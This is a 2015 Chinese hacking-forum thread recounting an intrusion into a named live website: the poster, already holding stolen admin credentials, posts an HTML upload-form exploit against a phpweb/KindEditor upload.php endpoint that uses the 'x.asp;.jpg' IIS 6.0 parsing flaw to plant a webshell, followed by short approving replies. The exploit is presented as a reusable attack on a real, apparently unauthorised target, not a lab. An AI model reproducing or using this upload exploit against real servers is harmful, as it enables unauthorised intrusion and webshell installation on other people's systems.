请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 3401|回复: 46

记一次phpweb漏洞利用

[复制链接]
  • TA的每日心情
    奋斗
    2016-7-14 17:48
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2015-8-14 01:32:30 | 显示全部楼层 |阅读模式
    目标站:www.551w1.com

    首先已经搞出了账号密码及后台地址,顺利的进入后台,毫无压力
    QQ图片20150814012005.png
    QQ图片20150814012352.png

    网站是II6.0的,那么我们邪恶的解析漏洞就可以来了。

    随便挑选个马
    QQ图片20150814012820.png

    Exp代码:
    <form name="uploadForm" method="post" enctype="multipart/form-data" action="http://www.551wl.com/kedit/upload_cgi/upload.php">
    <input type="text" name="fileName" value="x.asp;.jpg" />
    <input type="hidden" name="attachPath" value="/base/" />
    <input type="file" name="fileData" size="14" /></td>
    <input type="submit" name="button" value="确定" />
    </form>
    马的名字和value="x.asp;.jpg"是要对应的哈

    QQ图片20150814013030.png
    显示上传失败是因为之前已经传过一次


    QQ图片20150814013302.png
    QQ图片20150814013447.png

    看到这个图就很明确了
    教程下载地址:
    游客,如果您要查看本帖隐藏内容请回复


    论坛投稿请大家尽量用图文方式写文章,另外文中图片请解压一份高清的一并发来。谢谢观看







    回复

    使用道具 举报

  • TA的每日心情
    开心
    2015-11-26 12:26
  • 签到天数: 43 天

    [LV.5]常住居民I

    发表于 2015-8-14 09:20:19 | 显示全部楼层
    其实马的名字不需要和文件对应 因为这个是上传的时候才更改的名字打脸
  • TA的每日心情
    擦汗
    2017-3-15 00:43
  • 签到天数: 130 天

    [LV.7]常住居民III

    发表于 2015-8-14 09:41:23 | 显示全部楼层
    顶你九五95
  • TA的每日心情
    奋斗
    2016-7-14 17:48
  • 签到天数: 7 天

    [LV.3]偶尔看看II

     楼主| 发表于 2015-8-14 15:21:27 | 显示全部楼层
    拿破轮胎 发表于 2015-8-14 09:20
    其实马的名字不需要和文件对应 因为这个是上传的时候才更改的名字打脸

    写碧哥指导
  • TA的每日心情

    2016-6-2 19:58
  • 签到天数: 32 天

    [LV.5]常住居民I

    发表于 2015-8-14 15:26:45 | 显示全部楼层
    卧槽!!这和我那个不是一样的吗!!!!
  • TA的每日心情
    擦汗
    2015-8-17 16:22
  • 签到天数: 14 天

    [LV.3]偶尔看看II

    发表于 2015-8-14 16:45:25 | 显示全部楼层
    感谢分享     
  • TA的每日心情

    2017-3-14 16:59
  • 签到天数: 71 天

    [LV.6]常住居民II

    发表于 2015-8-14 23:00:06 | 显示全部楼层
    3333333333333333333

    评分

    参与人数 1下载币 -2 收起 理由
    admin -2 请不要恶意灌水

    查看全部评分

  • TA的每日心情

    2017-1-9 15:14
  • 签到天数: 50 天

    [LV.5]常住居民I

    发表于 2015-8-15 17:14:25 | 显示全部楼层
    和绿茶的差不多
  • TA的每日心情

    2017-2-25 09:21
  • 签到天数: 101 天

    [LV.6]常住居民II

    发表于 2015-8-17 14:39:51 | 显示全部楼层
    谢谢lz分享
  • TA的每日心情
    开心
    2016-5-18 00:00
  • 签到天数: 50 天

    [LV.5]常住居民I

    发表于 2015-8-17 23:30:51 | 显示全部楼层
    回复可得飞币
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-3-25 00:01 , Processed in 0.240535 second(s), 36 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表